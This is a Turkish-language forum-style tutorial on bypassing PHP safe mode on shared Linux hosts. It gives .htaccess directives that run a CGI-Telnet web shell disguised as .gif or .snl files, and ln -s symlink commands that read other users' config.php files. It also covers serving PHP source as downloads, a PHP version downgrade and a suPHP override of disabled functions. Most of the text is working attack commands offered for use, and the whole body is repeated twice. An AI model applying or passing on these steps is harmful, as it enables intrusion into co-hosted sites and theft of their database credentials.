Bugün sizlere Linux serverlarda yapabileceğimiz ByPass yollarından bir kaçını anlatacağım.-
Bildiginiz gibi serverların Safe Mod durumlarında (On) komut çalıştırmak için farklı materyaller kullanırız-
Bunlardan en çok kullandığımız Cgi-Telnet ’tir.-
Aracımızın dosya uzantısı .pl olduğundan dolayı serverda Active-Perl kurulumu olup online işlem yapması gerekmektedir.-
1)Cgi-Telnet’i farklı uzantılarda çalıştırmak.-
Cgi-Telnet’i .htaccess ile farklı uzantılar şeklinde çalışarak kurulu olmyan paketten dolayı bypass yöntemine başvururuz.-
Uzantıyı (.gif) yapıp çalıştırmak.-
/home/cw/public_html/ dizininde bu işlemi yapmak için-
.htaccess kodu ;-
AddType application/x-httpd-cgi .gif-
AddHandler cgi-script .gif-
AddHandler cgi-script .gif-
bu şekilde ki bir .htaccess de telnet’imiz “.pl” olan uzantısı “.gif” yapıp chmod 755 vererek çalıştırabiliriz.-
Ve de Telnet’imizde 1. satırda ;-
#!/usr/bin/perl-
olan betiğimizi ;-
“#!/usr/bin/perl -I/usr/local/bandmain” bu şekilde silerek değiştiriniz.-
Yukarda verdiğim kodun içeriğini ;-
AddType applicationx-httpd-cgi .snl-
AddHandler cgi-script .snl-
AddHandler cgi-script .snl-
bu şekildede değiştirerek “.pl” olan uzantımızı “.snl” şeklindede değiştirebiliriz.-
2)”Ln -s” ile Dosyayı Kendi KLasörünüze Çekmek-
Yukarda ki gibi Cgi-Telnet imizi çalıştırdıktan sonra-
ahmet isimli userin dizininden config dosyasını kendi dizinimize çekmek için-
ln -s /home/snl/public_html/config.php /home/cw/public_html/snl.txt-
şeklinde çekersek dizindeki config.php direk snl.txt içeriğine kopyalanacaktır.-
Ln komutunun yetkisinin olmadığı zamanda ?-
herhangi bir Linux dağıtılımında /bin klasorunde ln dosyasını-
çalıştığınız dizine upload ederek chmod 755 yetkisinden sonra-
./ln /home/snl/public_html/config.php /home/cw/public_html/snl.txt-
şeklindede çekebilirsiniz.-
Bu yöntem yanında cat -n komutunuda kullanabilirsiniz.-
3)Dizini Direk Çekerek Php Parsed-
Şimdi anlatacağım yöntem ise hedef dizinin ana klasörünü direk kendi dizininize çekerek vereceğim .htaccess komudu-
ile dizinde Php parsed yaparak dosyayı download ettirmek.-
Komut 1;-
Options +FollowSymLinks-
DirectoryIndex seees.html-
RemoveHandler .php-
AddType application/octet-stream .php-
Komut 2; .shtml parsed-
Options +Includes-
AddType text/html .shtml-
AddHandler server-parsed .shtml-
ln -s /home/snl/public_html/ /home/site/public_html/-
komutundan sonra çalıştığınız shell in url si-
http://site.org ise-
http://siteorg/config.php url girdiginiz zaman-
direk config.php yi masaüstünüze indirebilirsiniz.-
4)Dizin’i Görmek-
Çektiğiniz klasor ise ve direk çalışmasını istiyorsanız-
.htaccess ’inizi-
Komut 1;-
#deny all access-
deny from all-
Komut 2;-
Options +Indexes +MultiViews +FollowSymlinks-
IndexOptions FancyIndexing-
Kullanabilirsiniz.-
5)Php Versiyon Düşürmek-
Serverın Php versiyonunu düşürmek istiyorsanız.-
.htccess komutu ;-
AddType application/x-httpd-php5 .php-
kullanabilirsiniz php4 de çalışan sheller sayasendi safe mod durumunu bypasslıyabilirsiniz.-
6)suPHP Kullanarak Dizinde Çalışmayan .htaccess Çalıştırmak.-
Çalıştığınız dizinde .htaccess çalışmıyorsa ;-
suPHP_ConfigPath /home/site/public_html/php.ini-
Şeklinde php.ini nizi çalıştırarak Safe Mod , Disab. Fonk. düşürebilirsiniz.-
Bunun gibi bir çok yöntem var ve mantıklarının hepsi birbirine yakındır.-
Bildiginiz gibi serverların Safe Mod durumlarında (On) komut çalıştırmak için farklı materyaller kullanırız-
Bunlardan en çok kullandığımız Cgi-Telnet ’tir.-
Aracımızın dosya uzantısı .pl olduğundan dolayı serverda Active-Perl kurulumu olup online işlem yapması gerekmektedir.-
1)Cgi-Telnet’i farklı uzantılarda çalıştırmak.-
Cgi-Telnet’i .htaccess ile farklı uzantılar şeklinde çalışarak kurulu olmyan paketten dolayı bypass yöntemine başvururuz.-
Uzantıyı (.gif) yapıp çalıştırmak.-
/home/cw/public_html/ dizininde bu işlemi yapmak için-
.htaccess kodu ;-
AddType application/x-httpd-cgi .gif-
AddHandler cgi-script .gif-
AddHandler cgi-script .gif-
bu şekilde ki bir .htaccess de telnet’imiz “.pl” olan uzantısı “.gif” yapıp chmod 755 vererek çalıştırabiliriz.-
Ve de Telnet’imizde 1. satırda ;-
#!/usr/bin/perl-
olan betiğimizi ;-
“#!/usr/bin/perl -I/usr/local/bandmain” bu şekilde silerek değiştiriniz.-
Yukarda verdiğim kodun içeriğini ;-
AddType applicationx-httpd-cgi .snl-
AddHandler cgi-script .snl-
AddHandler cgi-script .snl-
bu şekildede değiştirerek “.pl” olan uzantımızı “.snl” şeklindede değiştirebiliriz.-
2)”Ln -s” ile Dosyayı Kendi KLasörünüze Çekmek-
Yukarda ki gibi Cgi-Telnet imizi çalıştırdıktan sonra-
ahmet isimli userin dizininden config dosyasını kendi dizinimize çekmek için-
ln -s /home/snl/public_html/config.php /home/cw/public_html/snl.txt-
şeklinde çekersek dizindeki config.php direk snl.txt içeriğine kopyalanacaktır.-
Ln komutunun yetkisinin olmadığı zamanda ?-
herhangi bir Linux dağıtılımında /bin klasorunde ln dosyasını-
çalıştığınız dizine upload ederek chmod 755 yetkisinden sonra-
./ln /home/snl/public_html/config.php /home/cw/public_html/snl.txt-
şeklindede çekebilirsiniz.-
Bu yöntem yanında cat -n komutunuda kullanabilirsiniz.-
3)Dizini Direk Çekerek Php Parsed-
Şimdi anlatacağım yöntem ise hedef dizinin ana klasörünü direk kendi dizininize çekerek vereceğim .htaccess komudu-
ile dizinde Php parsed yaparak dosyayı download ettirmek.-
Komut 1;-
Options +FollowSymLinks-
DirectoryIndex seees.html-
RemoveHandler .php-
AddType application/octet-stream .php-
Komut 2; .shtml parsed-
Options +Includes-
AddType text/html .shtml-
AddHandler server-parsed .shtml-
ln -s /home/snl/public_html/ /home/site/public_html/-
komutundan sonra çalıştığınız shell in url si-
http://site.org ise-
http://siteorg/config.php url girdiginiz zaman-
direk config.php yi masaüstünüze indirebilirsiniz.-
4)Dizin’i Görmek-
Çektiğiniz klasor ise ve direk çalışmasını istiyorsanız-
.htaccess ’inizi-
Komut 1;-
#deny all access-
deny from all-
Komut 2;-
Options +Indexes +MultiViews +FollowSymlinks-
IndexOptions FancyIndexing-
Kullanabilirsiniz.-
5)Php Versiyon Düşürmek-
Serverın Php versiyonunu düşürmek istiyorsanız.-
.htccess komutu ;-
AddType application/x-httpd-php5 .php-
kullanabilirsiniz php4 de çalışan sheller sayasendi safe mod durumunu bypasslıyabilirsiniz.-
6)suPHP Kullanarak Dizinde Çalışmayan .htaccess Çalıştırmak.-
Çalıştığınız dizinde .htaccess çalışmıyorsa ;-
suPHP_ConfigPath /home/site/public_html/php.ini-
Şeklinde php.ini nizi çalıştırarak Safe Mod , Disab. Fonk. düşürebilirsiniz.-
Bunun gibi bir çok yöntem var ve mantıklarının hepsi birbirine yakındır.-


